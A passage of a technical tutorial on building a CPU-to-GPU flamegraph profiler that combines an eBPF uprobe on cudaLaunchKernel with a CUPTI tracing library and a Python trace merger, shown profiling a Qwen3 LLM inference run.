kernel? CPU profilers can show you the host-side call stacks, but they lose visibility once the work is handed off to the GPU. On the other hand, GPU profilers detail what's happening on the device but often don't link it back to the specific CPU function that initiated it. This creates a blind spot, making it difficult to answer a critical question: "Which line of my code is causing this slow GPU kernel to run?" + +This tutorial will guide you through building a profiler that bridges this gap. You will create a unified CPU-to-GPU flamegraph using the power of eBPF and NVIDIA's CUPTI (CUDA Profiling Tools Interface). By the end, you'll have a tool that captures CPU stack traces at the moment of a `cudaLaunchKernel()` call and intelligently stitches them together with the corresponding GPU kernel's execution data. The result is a powerful visualization that reveals exactly which host code paths are triggering which GPU kernels, allowing you to pinpoint performance bottlenecks without recompiling your application. We'll achieve this by using CUPTI's correlation IDs, which act as a bridge connecting CPU-side API calls with their GPU-side kernel executions. + +## A Real-World Example: Profiling a Qwen3 LLM Inference + +To see our profiler in action, let's look at a real-world example: profiling a Qwen3 0.6B Large Language Model during inference. The resulting flamegraph, shown below, visualizes the entire operation, merging CPU call stacks with the GPU kernels they launch. It immediately becomes clear that the `matmul_kernel` (matrix multiplication) is the most time-consuming part, accounting for 95% of the total GPU execution time. + +![Qwen3 LLM Inference Flamegraph](qwen3_flamegraph.svg) + +**Key Insights from this Flamegraph:** + +This visualization gives us a clear breakdown of where the GPU is spending its time: +- **`matmul_kernel`**: 3.1 seconds (95% of GPU time). This tells us that matrix multiplication is, by far, the biggest performance bottleneck. +- **`multi_head_attention_kernel`**: 105ms (3.2%). The attention mechanism adds a small amount of overhead. +- **`rmsnorm_kernel`**: 44ms (1.3%). Normalization is a relatively inexpensive operation. +- **End-to-End Visibility**: The flamegraph shows the complete call chain, from the `main` function on the CPU all the way to the specific `[GPU_Kernel]` executing on the device. + +## The Magic Behind the Scenes: Injection and Correlation + +So, how do we create this unified view? The process involves two key technologies working in tandem: eBPF for the CPU side and CUPTI for the GPU side. + +1. **GPU Tracing with CUPTI Injection**: We start by creating a small, custom CUPTI library. By setting the `CUDA_INJECTION64_PATH` environment variable, we tell the CUDA runtime to load our library alongside the application. Once loaded, this library uses the CUPTI API to record all GPU activities, such as kernel launches and memory transfers. Crucially, it captures timestamps and special **correlation IDs** for each event. + +2. **CPU Profiling with eBPF**: At the same time, we use an eBPF "uprobe" to monitor the application from the outside. This probe is attached to the `cudaLaunchKernel()` function within the CUDA runtime library. Whenever the application calls this function to launch a kernel, our eBPF program springs into action, capturing the complete CPU call stack at that exact moment. + +3. **Connecting the Dots**: After the application finishes running, we are left with two sets of data: a trace of GPU events from CUPTI and a collection of CPU stack traces from eBPF. A final script then merges them. It uses the **correlation IDs** from CUPTI to link a specific `cudaLaunchKernel` API call to the actual kernel that ran on the GPU. It then finds the corresponding CPU stack trace captured by eBPF (usually by matching timestamps) and appends the GPU kernel's name to it. + +The result is a "folded" stack file, ready to be turned into a flamegraph, where each line represents a complete CPU-to-GPU call chain. + +> You can find the complete source code for this tutorial here: + +## The Core Problem: Why Is Correlating CPU and GPU So Hard? + +To understand why we need a special tool, it's important to grasp the fundamental challenge of GPU profiling. When you run a CUDA application, you're dealing with two distinct worlds operating in parallel: the **CPU** and the **GPU**. + +- **On the CPU side**, your application code makes calls to the CUDA runtime library (e.g., `cudaLaunchKernel`, `cudaMemcpy`). These calls don't execute the work directly; instead, they package up commands and send them to the GPU driver. +- **On the GPU side**, the hardware picks up these commands and executes them. This involves launching kernels with thousands of threads, moving data, and performing computations. + +The performance bottlenecks you want to find often live in the handoff between these two worlds. Traditional profilers struggle here. A CPU profiler (`perf`, for example) can tell you that your program spent a lot of time inside `cudaLaunchKernel`, but it can't tell you *which* kernel was launched or how long it actually ran on the GPU. Conversely, a GPU profiler (like NVIDIA's Nsight) will give you detailed metrics about a kernel's execution but won't show you the specific line of CPU code that caused it to run. + +This disconnect is the problem we're solving. And it's not unique to NVIDIA. Whether you're using AMD's ROCm or Intel's Level Zero, the challenge of linking CPU-side causes to GPU-side effects is universal. The solution, regardless of the platform, is to find a way to "tag" a request on the CPU and find that same tag on the GPU. + +Fortunately, NVIDIA's CUDA runtime provides exactly what we need: **correlation IDs**. Every time an API call like `cudaLaunchKernel` is made, the runtime assigns it a unique ID. This ID is passed along with the work to the GPU. Later, when the kernel executes, it carries the same ID. By capturing this ID on both sides, we can definitively link a CPU call stack to a GPU kernel execution. This is where CUPTI becomes essential, as it gives us access to these activity records. By injecting a CUPTI-based tracer into our application, we can harvest these events without having to recompile anything. + +## Our Profiler's Architecture: eBPF + CUPTI Injection + +Our profiler is built on a three-part architecture that combines eBPF, CUPTI, and a final merging step. Here’s how the pieces fit together: + +1. **The eBPF Profiler (CPU-Side Monitoring)**: This component acts as our CPU-side watchdog. It uses an eBPF **uprobe** to attach to the `cudaLaunchKernel` function inside the CUDA runtime library. Whenever any process on the system calls this function, our eBPF program triggers, instantly capturing the full CPU call stack with nanosecond precision. This gives us a snapshot of the exact code path—from the main function down to the specific loop or method—that initiated the GPU work. + +2. **The CUPTI Injection Library (GPU-Side Tracing)**: To see what the GPU is doing, we use a clever trick called library injection. We compile a small shared library that uses the CUPTI API. By setting the `CUDA_INJECTION64_PATH` environment variable, we instruct the CUDA runtime to load our library into the target application automatically. Once inside, it activates CUPTI's activity tracing, which records detailed events for kernel executions and runtime API calls. These records include high-precision timestamps and, most importantly, the **correlation IDs** that link everything together. + +3. **The Trace Merger (Connecting the Traces)**: After the profiling session ends, we have two raw data streams: CPU stack traces from eBPF and GPU activity records from CUPTI. The final step is to merge them. A script parses both traces and begins the correlation process. It first finds matching `cudaLaunchKernel` events between the two traces (using timestamps as a guide) and then uses the correlation ID from those events to link the CPU-side call to the correct GPU kernel execution. The output is a unified "folded stack" file, where each line looks something like this: `cpu_func1;cpu_func2;cudaLaunchKernel;[GPU_Kernel]kernel_name count`. This format is exactly what the standard `flamegraph.pl` script needs to generate the final visualization. + +## Meet the Team: The Components of Our Profiler + +Our profiling system is made up of four key components that work together to give us a complete picture of our application's performance. Let's get to know the role each one plays. + +* **The Conductor: `gpuperf.py`** + This Python script is the main entry point and orchestrator of the entire profiling process. It's responsible for launching the target application with both the eBPF profiler and CUPTI tracer active. It sets up the necessary environment variables, starts and stops the tracers at the right time, and kicks off the final merge step to produce the unified flamegraph data. It also gracefully handles cleanup and offers different modes, allowing you to run a CPU-only, GPU-only, or a combined profile. + +* **The CPU Spy: The Rust eBPF Profiler (`profiler/`)** + This is a high-performance stack trace collector built in Rust using the `libbpf` library. Its job is to spy on the CPU. It attaches an eBPF uprobe to the `cudaLaunchKernel` function in the CUDA runtime library. Every time this function is called, the profiler captures the full user-space stack trace, records a high-precision timestamp, and saves it in a special "extended folded format." This extended format is crucial because the timestamps are what allow us to later correlate these CPU events with GPU activity. + +* **The GPU Informant: The CUPTI Trace Injection Library (`cupti_trace/`)** + This is a C++ shared library that acts as our informant on the inside. Loaded into the target application via `CUDA_INJECTION64_PATH`, it uses the CUPTI API to subscribe to GPU activities. It records detailed information about runtime API calls and kernel executions, including their start and end timestamps and their all-important **correlation IDs**. This library is designed to be non-intrusive; it collects data asynchronously and writes it to a trace file, all without requiring any changes to the original application. + +* **The Detective: The Trace Merger (`merge_gpu_cpu_trace.py`)** + This Python script plays the role of the detective. After the profiling run is complete, it takes the CPU trace from our eBPF spy and the GPU trace from our CUPTI informant and pieces the story together. It intelligently matches the CPU stack traces to their corresponding GPU kernel executions using a two-step process: first by finding events that are close in time, and then by confirming the match using the correlation ID. Once a match is found, it appends the GPU kernel's name to the CPU stack trace and generates the final folded stack file, ready for visualization. + +## A Deeper Look: How the Profiling Pipeline Works + +To truly understand how our profiler works, let's follow the journey of a single `cudaLaunchKernel` call as it travels through our entire pipeline. From the moment you execute the `gpuperf.py` script to the final generation of the flamegraph, we'll trace the data flow and see how each component plays its part. + +### The Three Pillars of Our Profiler + +Our pipeline is built on three core technical implementations. Let's examine the key code snippets from each to understand how they function. + +1. **Capturing CPU Stacks with the eBPF Profiler (`profiler/src/bpf/profile.bpf.c`)** + + At the heart of our CPU-side monitoring is a lightweight eBPF program written in C. This program is compiled into highly efficient, native bytecode that runs directly in the kernel, ensuring minimal performance overhead. Unlike tools that interpret scripts at runtime, this `libbpf`-based approach is fast and safe. We use it to dynamically attach a uprobe to the `cudaLaunchKernel` function without having to modify any of NVIDIA's own binaries. + +```c +// eBPF program that captures stack traces when cudaLaunchKernel is called +SEC("uprobe") +int uprobe_handler(struct pt_regs *ctx) +{ + struct stacktrace_event *event; + + // Reserve space in ring buffer for the event + event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); + if (!event) + return 1; + + // Capture process/thread info + event->pid = bpf_get_current_pid_tgid() >> 32; + event->cpu_id = bpf_get_smp_processor_id(); + event->timestamp = bpf_ktime_get_ns(); // Nanosecond timestamp + bpf_get_current_comm(event->comm, sizeof(event->comm)); + + // Capture kernel and user stack traces + event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); + event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); + + bpf_ringbuf_submit(event, 0); + return 0; +} +``` + +When the `uprobe_handler` is triggered, it captures all the necessary information about the CPU-side call. It records the process and thread ID, grabs a nanosecond-precision timestamp, and, most importantly, uses the `bpf_get_stack()` helper to walk the user-space stack and capture the full call chain. This data is then efficiently sent from the kernel to our user-space Rust application via a BPF ring buffer. + +Once in user space, the Rust profiler performs several key tasks. It receives the raw stack data, resolves the memory addresses to human-readable function names (a process called symbolization, done here with the `blazesym` library), and formats it all into our special "extended folded format." + +A standard folded stack for a flamegraph looks like this: `stack1;stack2;stack3 1`. The `1` at the end is simply a count. Our extended format, enabled with the `-E` flag, adds crucial temporal and contextual information: `timestamp_ns comm pid tid cpu stack1;stack2;...;stackN`. This timestamp is the key that will unlock the correlation with the GPU trace data. It tells us *exactly when* the `cudaLaunchKernel` call happened, allowing us to match it with GPU events that occur microseconds or milliseconds later. + +2. **Spying on the GPU with the CUPTI Injection Library (`cupti_trace/cupti_trace_injection.cpp`)** + + Now for the GPU side. How do we see what the GPU is doing without modifying the application? We use a powerful feature of the CUDA driver called **library injection**. We create a small C++ shared library that acts as our GPU informant. By setting the `CUDA_INJECTION64_PATH` environment variable to point to our library, we tell the CUDA runtime to load it into the application's process space automatically. + + The magic happens because our library is loaded *before* the main CUDA runtime is fully initialized. This gives us the perfect opportunity to set up our spy gear. We use a `__attribute__((constructor))` function, which the Linux dynamic loader runs automatically when our library is loaded. Inside this constructor, we activate CUPTI and tell it which events we're interested in. + +```cpp +// This function is automatically called when our library is loaded. +__attribute__((constructor)) +void InitializeInjection(void) +{ + // Subscribe to CUPTI callbacks + cuptiSubscribe(&subscriberHandle, CallbackHandler, NULL); + + // Enable activity tracing for kernels and runtime APIs + cuptiActivityEnable(CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL); + cuptiActivityEnable(CUPTI_ACTIVITY_KIND_RUNTIME); + + // Register our callback functions to handle the data buffers. + // CUPTI will call `BufferRequested` when it needs memory to store data, + // and `BufferCompleted` when a buffer is full and ready for processing. + cuptiActivityRegisterCallbacks(BufferRequested, BufferCompleted); +} + +// This callback is triggered by CUPTI whenever a buffer of activity records is full. +void CUPTIAPI BufferCompleted(CUcontext ctx, uint32_t streamId, uint8_t *buffer, + size_t size, size_t validSize) +{ + CUpti_Activity *record = NULL; + + // Iterate through all the activity records in the completed buffer. + while (CUPTI_SUCCESS == cuptiActivityGetNextRecord(buffer, validSize, &record)) { + switch (record->kind) { + // This record type contains details about a GPU kernel's execution. + case CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL: { + CUpti_ActivityKernel4 *kernel = (CUpti_ActivityKernel4 *)record; + + // We extract the most important details: the kernel's name, its start and + // end timestamps (from the GPU's own high-precision clock), and the + // all-important correlation ID that links it back to a CPU-side API call. + fprintf(outputFile, "CONCURRENT_KERNEL [ %llu, %llu ] duration %llu, \"%s\", correlationId %u\n", + kernel->start, // GPU timestamp (ns) + kernel->end, // GPU timestamp (ns) + kernel->end - kernel->start, + kernel->name, // Kernel function name + kernel->correlationId); // The link to the CPU API call! + break; + } + // This record type contains details about a CUDA runtime API call. + case CUPTI_ACTIVITY_KIND_RUNTIME: { + CUpti_ActivityAPI *api = (CUpti_ActivityAPI *)record; + + // We only care about `cudaLaunchKernel` calls, as they are the ones + // that launch the kernels we're tracking. + if (api->cbid == CUPTI_RUNTIME_TRACE_CBID_cudaLaunchKernel_v7000) { + fprintf(outputFile, "RUNTIME [ %llu, %llu ] \"cudaLaunchKernel\", correlationId %u\n", + api->start, // API entry timestamp + api->end, // API exit timestamp + api->correlationId); // The same ID as the corresponding kernel. + } + break; + } + } + } +} +``` + +As the target application runs, CUPTI works silently in the background, filling up memory buffers with detailed activity records. This process is highly efficient and asynchronous. When a buffer is full, CUPTI invokes our `BufferCompleted` callback, delivering a batch of events for us to process. + +Inside this callback, we iterate through two important types of records: + +1. **`CUPTI_ACTIVITY_KIND_RUNTIME`**: This tells us whenever a CUDA runtime function was called, such as `cudaLaunchKernel`. We record its timestamp and, most importantly, the **correlation ID** that the CUDA runtime assigned to this specific call. + +2. **`CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL`**: This record is generated after a GPU kernel finishes executing. It contains a wealth of information, including the kernel's name, its precise start and end timestamps (measured by the GPU's own hardware clock), and the exact same **correlation ID** that we saw in the runtime API record. + +This shared correlation ID is the entire key to our profiler. It's the "tag" that allows us to definitively prove that the `cudaLaunchKernel` call with ID `12345` on the CPU is directly responsible for the `matmul_kernel` execution with ID `12345` on the GPU. Our injection library simply writes these events out to a text file, creating a log of all GPU activity, ready for the final merging step. + +3. **The Detective Work: Merging Traces in `merge_gpu_cpu_trace.py`** + + After the profiling run is complete, we have two crucial pieces of evidence: a file of CPU stack traces from our eBPF profiler and a file of GPU activity from our CUPTI library. The final step is to bring them together to tell a single, coherent story. This is the job of our Python-based detective, the `TraceMerger`. + + The `TraceMerger` class is where the core correlation logic lives. It starts by parsing both trace files. The CPU trace is in our "extended folded format," with each line containing a nanosecond timestamp and a full call stack. The GPU trace contains all the `RUNTIME` and `CONCURRENT_KERNEL` events we logged. + + The script then performs a two-step matching process for every CPU stack trace it captured: + + 1. **Timestamp Matching**: For a given CPU stack captured at a specific nanosecond, it searches for a `cudaLaunchKernel` *runtime event* from the GPU trace that occurred at roughly the same time. We have to allow for a small time window (e.g., 10 milliseconds) because the CPU and GPU clocks aren't perfectly synchronized, and there can be small delays. + + 2. **Correlation ID Confirmation**: Once it finds a potential match based on time, it takes the correlation ID from that `cudaLaunchKernel` runtime event. It then searches for a *kernel execution event* that has the exact same correlation ID. + + If both steps succeed, we have a confirmed match! We now know that the CPU stack trace is directly responsible for that specific GPU kernel execution. The script then appends the GPU kernel's name to the CPU call stack, creating a unified view. + +```python +class TraceMerger: + def find_matching_kernel(self, cpu_stack: CPUStack) -> Optional[GPUKernelEvent]: + """ + Correlates a CPU stack with a GPU kernel using our two-step matching process. + """ + # Step 1: Find the cudaLaunchKernel runtime call that happened + # closest in time to our CPU stack capture. + best_launch = None + min_time_diff = self.timestamp_tolerance_ns # 10ms search window + + for launch in self.cuda_launches.values(): + time_diff = abs(cpu_stack.timestamp_ns - launch.start_ns) + if time_diff < min_time_diff: + min_time_diff = time_diff + best_launch = launch + + if not best_launch: + return None # No launch found within our time window. + + # Step 2: Use the correlation ID from the launch event to find the + # exact GPU kernel that was executed. + for kernel in self.gpu_kernels: + if kernel.correlation_id == best_launch.correlation_id: + return kernel # Success! We found the matching kernel. + + return None + + def merge_traces(self): + """ + Builds the final merged stacks, ready for the flamegraph script. + Example: cpu_func1;cpu_func2;cudaLaunchKernel;[GPU_Kernel]kernel_name + """ + for cpu_stack in self.cpu_stacks: + merged_stack = cpu_stack.stack.copy() + + gpu_kernel = self.find_matching_kernel(cpu_stack) + if gpu_kernel: + # If a match is found, append the GPU kernel's name. + merged_stack.append(f"[GPU_Kernel]{gpu_kernel.name}") + else: + # If no match is found, we still note that a launch was attempted. + merged_stack.append("[GPU_Launch_Pending]") + + # Convert the final, merged stack into a string. + stack_str = ';'.join(merged_stack) + + # This is the crucial step: weight the stack by the GPU kernel's + # actual execution time in microseconds, not just a simple count. + kernel_duration_us = int(gpu_kernel.end_us - gpu_kernel.start_us) if gpu_kernel else 0 + self.merged_stacks[stack_str] += kernel_duration_us +``` + +### The Importance of Duration Weighting + +One of the most critical details in this entire process is how we generate the final data for the flamegraph. A standard flamegraph just counts how many times each unique stack trace appears. This is fine for CPU-only profiling, where every sample represents a roughly equal slice of time. But for our use case, it would be misleading. + +A `cudaLaunchKernel` call might launch a kernel that runs for 2 microseconds or one that runs for 200 milliseconds. If we just counted them as "1" each, the flamegraph would incorrectly show them as having equal importance. + +To solve this, we use **duration weighting**. Instead of adding `1` to the count for a matched stack, we add the GPU kernel's *actual execution duration in microseconds*. + +- `cpu_stack;...;[GPU_Kernel]fast_kernel 2` (ran for 2 µs) +- `cpu_stack;...;[GPU_Kernel]slow_kernel 200000` (ran for 200,000 µs) + +This ensures the width of the bars in the final flamegraph is proportional to the *actual time spent on the GPU*. A kernel that runs 1000x longer will appear 1000x wider, immediately and accurately drawing your eye to the real performance hotspots. Without this, you'd be flying blind, unable to distinguish truly expensive operations from trivial ones. + +### Putting It All Together: Orchestration in `gpuperf.py` + +The final piece of the puzzle is the `gpuperf.py` script, which acts as the conductor for our profiling orchestra. It's responsible for starting the tracers, running the target application, stopping the tracers, and kicking off the final merge and analysis. The order of operations is critical for everything to work correctly. + +Let's look at the core logic in the `run_with_trace` function: + +```python +def run_with_trace(self, command, cpu_profile, chrome_trace, merged_trace): + # 1. Set up the environment for CUPTI injection. This tells the CUDA + # runtime where to find our custom tracer library. + env = os.environ.copy() + env['CUDA_INJECTION64_PATH'] = str(self.injection_lib) + env['CUPTI_TRACE_OUTPUT_FILE'] = trace_file + + # 2. Start the eBPF CPU profiler *before* the target application. + # This is crucial because the uprobe must be attached and ready + # before the application makes its first CUDA call. + self.start_cpu_profiler(cpu_output_file=cpu_profile) + time.sleep(1.0) # Give it a moment to ensure the uprobe is active. + + # 3. Launch the target application. The CUDA runtime will automatically + # load our injection library because of the environment variable we set. + target_proc = subprocess.Popen(command, env=env) + target_proc.wait() + + # 4. Once the application finishes, stop the CPU profiler and + # begin the final trace merging process. + self.stop_cpu_profiler() + self.generate_merged_trace(cpu_trace=cpu_profile, gpu_trace=chrome_trace, + output_file=merged_trace) +``` + +Here’s a step-by-step breakdown of the timeline: + +1. **Environment Setup**: The script first sets the `CUDA_INJECTION64_PATH` environment variable. This is an official feature of the CUDA driver that tells it to load a specific shared library into any application that initializes the CUDA runtime. This is the hook that lets our CUPTI tracer get inside the target process. + +2. **Start CPU Profiler First**: The script calls `start_cpu_profiler()` *before* launching the user's command. This is the most critical step in the orchestration. The eBPF profiler needs to attach its uprobe to the `cudaLaunchKernel` function in the `libcudart.so` library. If the application starts first, it might load the CUDA library and make calls before our probe is in place, causing us to miss events. By starting the profiler first (and adding a small sleep), we ensure our CPU spy is in position and ready to record from the very beginning. + +3. **Launch the Target**: With the environment set and the eBPF probe active, the script launches the target application using `subprocess.Popen`. As soon as the application makes its first CUDA call, the CUDA runtime initializes and, thanks to our environment variable, loads our `libcupti_trace_injection.so` library. At this point, both our CPU and GPU tracers are active and recording data. + +4. **Stop and Merge**: The script waits for the target application to complete. Once it's finished, it cleanly shuts down the eBPF profiler and then calls `generate_merged_trace()`. This function is the trigger for the `TraceMerger` detective, which begins the work of parsing, correlating, and weighting the data to produce the final, unified folded stack file. + + +## Putting It to the Test: Example Applications + +Theory is great, but the best way to learn is by doing. To help you see the profiler in action and experiment with it yourself, this tutorial includes two different CUDA applications that you can build and profile. + +### The Main Event: A Real LLM Inference Engine (`qwen3.cu`) + +This is the recommended example and the one we used to generate the flamegraph at the beginning of this tutorial. `qwen3.cu` is a complete, self-contained CUDA implementation of the Qwen3 0.6B transformer model. It's not a simplified mock-up; it's a real Large Language Model that performs inference on the GPU. + +Profiling this application gives you a realistic view of the workloads you'll encounter in modern AI. You'll see the interplay between the core components of a transformer architecture, including: +- Tokenization +- Multi-head attention layers +- Feedforward networks +- RMS normalization + +This example is perfect for understanding how high-level concepts in a neural network translate into specific GPU kernels and where the true performance bottlenecks lie in a real-world AI application. + +### A Simpler Starting Point: The Mock Transformer Simulator (`mock-test/llm-inference.cu`) + +If you want a simpler, lightweight test case, the `mock-test/llm-inference.cu` application is a great alternative. It simulates the computational patterns of a transformer model (like matrix multiplications and other typical operations) but does so without the overhead of loading a large model's weights. This makes it quick to compile and run, providing a straightforward way to verify that all the components of your profiling stack are working correctly before moving on to more complex workloads. + +## Let's Get Building: Compilation and Execution + +Now that you understand the architecture, it's time to get your hands dirty. This section will walk you through compiling all the necessary components of our profiling stack: the CUPTI injection library, the Rust eBPF profiler, and the example applications. We'll then run the full profiler to generate our first unified flamegraph. + +### Step 1: Build the CUPTI Injection Library + +First, we need to compile our GPU informant—the C++ shared library that uses CUPTI to trace GPU activities. This library will be injected into our target application to report back on what the GPU is doing. + +Navigate to the `cupti_trace` directory and use the provided `Makefile` to build the library: + +```bash +cd cupti_trace +make +``` + +This command compiles `cupti_trace_injection.cpp` into a shared library file named `libcupti_trace_injection.so`. The `Makefile` is designed to automatically locate your CUDA installation (it checks common paths like `/usr/local/cuda-12.x` and `/usr/local/cuda-13.x`) and links against the necessary CUPTI and CUDA runtime libraries. + +Once the compilation is finished, verify that the shared library has been created: + +```bash +ls -lh libcupti_trace_injection.so +``` + +You should see a new file, typically around 100-120KB in size. If the compilation fails, the most common reasons are: +- The CUDA Toolkit is not installed on your system. +- The `nvcc` compiler is not in your system's `PATH`. +- The `CUPTI` development files are missing (they are usually included with the CUDA Toolkit under `extras/CUPTI/`). + +### Step 2: Build the Rust eBPF Profiler + +Next, we'll build the CPU spy—our high-performance eBPF profiler written in Rust. This tool is responsible for capturing the CPU-side stack traces whenever `cudaLaunchKernel` is called. + +Navigate to the `profiler` directory and use `cargo` to compile the application. We'll build it in `--release` mode to ensure it runs with maximum performance and minimal overhead. + +```bash +cd profiler +cargo build --release +``` + +This command does two important things: +1. It compiles the Rust user-space application, which manages the eBPF probes and processes the data. +2. It also compiles the C-based eBPF program (`profile.bpf.c`) into BPF bytecode and embeds it directly into the final Rust executable. This creates a self-contained binary that's easy to distribute and run. + +After the build completes, verify that the profiler executable is ready: + +```bash +ls -lh target/release/profile +``` + +You can also run it with the `--help` flag to see the available command-line options: + +```bash +./target/release/profile --help +``` + +You should see a list of options, including `--uprobe` (which we'll use to specify the `cudaLaunchKernel` function) and `-E` (which enables the "extended folded output" format with nanosecond timestamps). The final binary will be around 2-3MB, as it includes not only our code but also the powerful `blazesym` library for fast, offline stack symbolization. + +### Step 3: Build the Mock LLM Application + +With our profiling tools compiled, we now need a target application to profile. We'll start with the simpler of the two examples: the mock LLM simulator. This lightweight CUDA application is perfect for a quick test to ensure all parts of our profiler are working together correctly. + +Navigate to the `mock-test` directory and compile the application using its `Makefile`: + +```bash +cd mock-test +make +``` + +This command uses `nvcc`, the NVIDIA CUDA compiler, to build the `llm-inference.cu` source file into an executable named `llm-inference`. The `Makefile` includes a few useful flags: +- `-std=c++17`: Enables modern C++ features. +- `--no-device-link`: Creates a single, self-contained executable, which simplifies compilation. +- `-Wno-deprecated-gpu-targets`: Suppresses warnings you might see if you're using a newer CUDA toolkit with a slightly older GPU. + +Verify that the compilation was successful by listing the file: + +```bash +ls -lh llm-inference +``` + +The resulting binary should be small, around 200KB. You can run it directly to see it in action. By default, it runs a continuous simulation for 10 seconds, so you can stop it early with `Ctrl+C` after a few moments. + +```bash +./llm-inference +# The application will start printing output... +# Press Ctrl+C after a few seconds to stop it. +``` + +### Step 4: Build the Real LLM Inference Application + +Now for the main event: compiling the `qwen3.cu` application. This is a real, self-contained LLM inference engine that runs the Qwen3 0.6B model. Profiling this will give you a fantastic, real-world view of a modern AI workload. + +First, navigate to the `qwen3.cu` directory. + +```bash +cd qwen3.cu +``` + +Before you can compile the code, you need to download the model weights. The `Makefile` provides a convenient target for this. + +```bash +# This will download the 3GB FP32 model file +make download-model +``` + +Next, compile the application. There's a critical detail here: for our eBPF uprobe to work, the application must dynamically link against the CUDA runtime library (`libcudart.so`). If it's statically linked, the `cudaLaunchKernel` symbol won't be available in a shared library for our probe to find. The `Makefile` has a specific target, `runcu`, that handles this for you. + +```bash +# Compile the application with dynamic linking +make runcu +``` + +To be absolutely sure it's linked correctly, you can use the `ldd` command to inspect the executable's dependencies. + +```bash +ldd runcu | grep cudart +# The output should look something like this: +# libcudart.so.12 => /usr/local/cuda-12.9/lib64/libcudart.so.12 +``` + +If you see a line showing that `runcu` is linked to `libcudart.so`, you're all set! All the components are now built and ready for action. + +### Time to Shine: Running the Profiler + +With all the components built, you're now ready to run the full profiling stack and see it in action! The `gpuperf.py` script is your central command hub. It seamlessly orchestrates the eBPF profiler, the CUPTI injection, and the final trace merging, giving you a complete, end-to-end view of your application's performance. + +Let's profile the real LLM inference workload using the Qwen3 model. The following command tells `gpuperf.py` to run the `runcu` executable and trace its execution: + +```bash +# Profile real LLM inference (Qwen3 model) +sudo timeout -s 2 10 python3 gpuperf.py \ + -c qwen3_gpu.json \ + -p qwen3_cpu.txt \ + -m qwen3_merged.folded \ + bash -c 'cd qwen3.cu && ./runcu Qwen3-0.6B-FP32.gguf -q "Explain eBPF" -r 1' +``` + +Let's break down this command to understand what each part does: +- `sudo`: Required because the eBPF profiler needs elevated privileges to attach probes to the kernel and other processes. +- `timeout -s 2 10`: A useful utility that runs the command for a maximum of 10 seconds. It sends an interrupt signal (`-s 2`, which is `SIGINT` or `Ctrl+C`) to gracefully stop the process. This is perfect for capturing a short, representative sample of a long-running application. +- `python3 gpuperf.py`: Our main orchestration script. +- `-c qwen3_gpu.json`: Specifies the output file for the GPU trace data, which will be saved in the Chrome Trace JSON format. +- `-p qwen3_cpu.txt`: Specifies the output file for the CPU stack traces, saved in our extended folded format. +- `-m qwen3_merged.folded`: The grand prize! This is the output file for the final, merged, and duration-weighted folded stacks. +- `bash -c '...'`: The command to be profiled. We use `bash -c` to ensure that we first change into the `qwen3.cu` directory before executing the `runcu` application. + +As the script runs, you'll see a detailed log of its progress: + +``` +CUPTI trace output will be written to: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/gpu_results.txt +Starting CPU profiler with cudaLaunchKernel hook + CUDA library: /usr/local/cuda-12.9/lib64/libcudart.so.12 + Output: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/qwen3_cpu.txt +Running command with GPU profiling: bash -c cd qwen3.cu && ./runcu Qwen3-0.6B-FP32.gguf -q "What is eBPF?" -r 1 +Trace output: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/gpu_results.txt +Started target process with PID: 3861826 +A: E BPF stands for "Extended Bounded Performance" and is a system designed to allow users to create custom user-space programs... +tok/s: 54.489164 + +Stopping CPU profiler... +CPU profile saved to: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/qwen3_cpu.txt + +Converting trace to Chrome format: qwen3_gpu.json +Parsed 185867 events + +Chrome trace file written to: qwen3_gpu.json + +Generating merged CPU+GPU trace: qwen3_merged.folded +Parsing CPU uprobe trace (extended folded format): qwen3_cpu.txt +Parsed 92732 CPU stack traces from cudaLaunchKernel hooks +Found 1 unique threads +Parsing GPU CUPTI trace: qwen3_gpu.json +Parsed 92732 GPU kernel events +Parsed 92732 cudaLaunchKernel runtime events +Correlating CPU stacks with GPU kernels... + Thread (3861826, 3861826): Using sequential matching (92732 events) +Matched 92732 CPU stacks with GPU kernels +Total unique stacks: 7 +Wrote 7 unique stacks (3265164 total samples) +✓ Merged trace generated: qwen3_merged.folded +``` + +The output is a goldmine of information. Let's analyze the key statistics: +- **92,732 CPU stack traces captured**: This means that during the 10-second run, the `cudaLaunchKernel` function was called over 92,000 times. Our eBPF profiler caught every single one. +- **185,867 total GPU events**: The CUPTI tracer recorded a huge amount of activity, including kernel launches, memory copies, and other runtime events. +- **100% Correlation Rate**: The line `Matched 92732 CPU stacks with GPU kernels` is the most important one. It confirms that our correlation logic worked perfectly, successfully linking every single CPU-side launch event to its corresponding GPU-side kernel execution. +- **7 unique stacks**: Although there were over 92,000 calls, they all originated from just 7 unique code paths in the application. +- **3,265,164 total samples**: This is the sum of all GPU kernel durations in microseconds. It tells us that the total time spent executing kernels on the GPU during this run was approximately 3.27 seconds. + +This successful run leaves us with three valuable trace files (`qwen3_cpu.txt`, `qwen3_gpu.json`, and `qwen3_merged.folded`), which we'll use in the next steps to visualize and inspect the performance data. + +### Step 5: Generate the Flamegraph + +After a successful profiling run, you're left with the `qwen3_merged.folded` file. This is the culmination of our data collection and correlation efforts, containing all the information needed to build our unified CPU+GPU flamegraph. To turn this data into a beautiful and interactive visualization, we use the classic `flamegraph.pl` script, a powerful Perl program created by Brendan Gregg, the performance engineering expert who pioneered the use of flamegraphs. + +This repository includes a convenient wrapper script, `combined_flamegraph.pl`, which is based on the original and tailored for our needs. Let's use it to generate our SVG file: + +```bash +./combined_flamegraph.pl qwen3_merged.folded > qwen3_flamegraph.svg +``` + +This command reads the duration-weighted folded stacks from `qwen3_merged.folded` and outputs a scalable vector graphics (SVG) file named `qwen3_flamegraph.svg`. + +Now, open the newly created SVG file in any modern web browser to explore it: + +```bash +firefox qwen3_flamegraph.svg +# or +google-chrome qwen3_flamegraph.svg +``` + +#### Navigating Your Interactive Flamegraph + +Welcome to your unified performance profile! The flamegraph you see is a powerful tool for understanding your application's behavior. Here’s how to interpret it: +- **The Y-Axis is the Call Stack**: Each vertical level represents a function in the call stack. The function at the bottom (`main`) calls the one above it, and so on, all the way up to the final functions that launch the 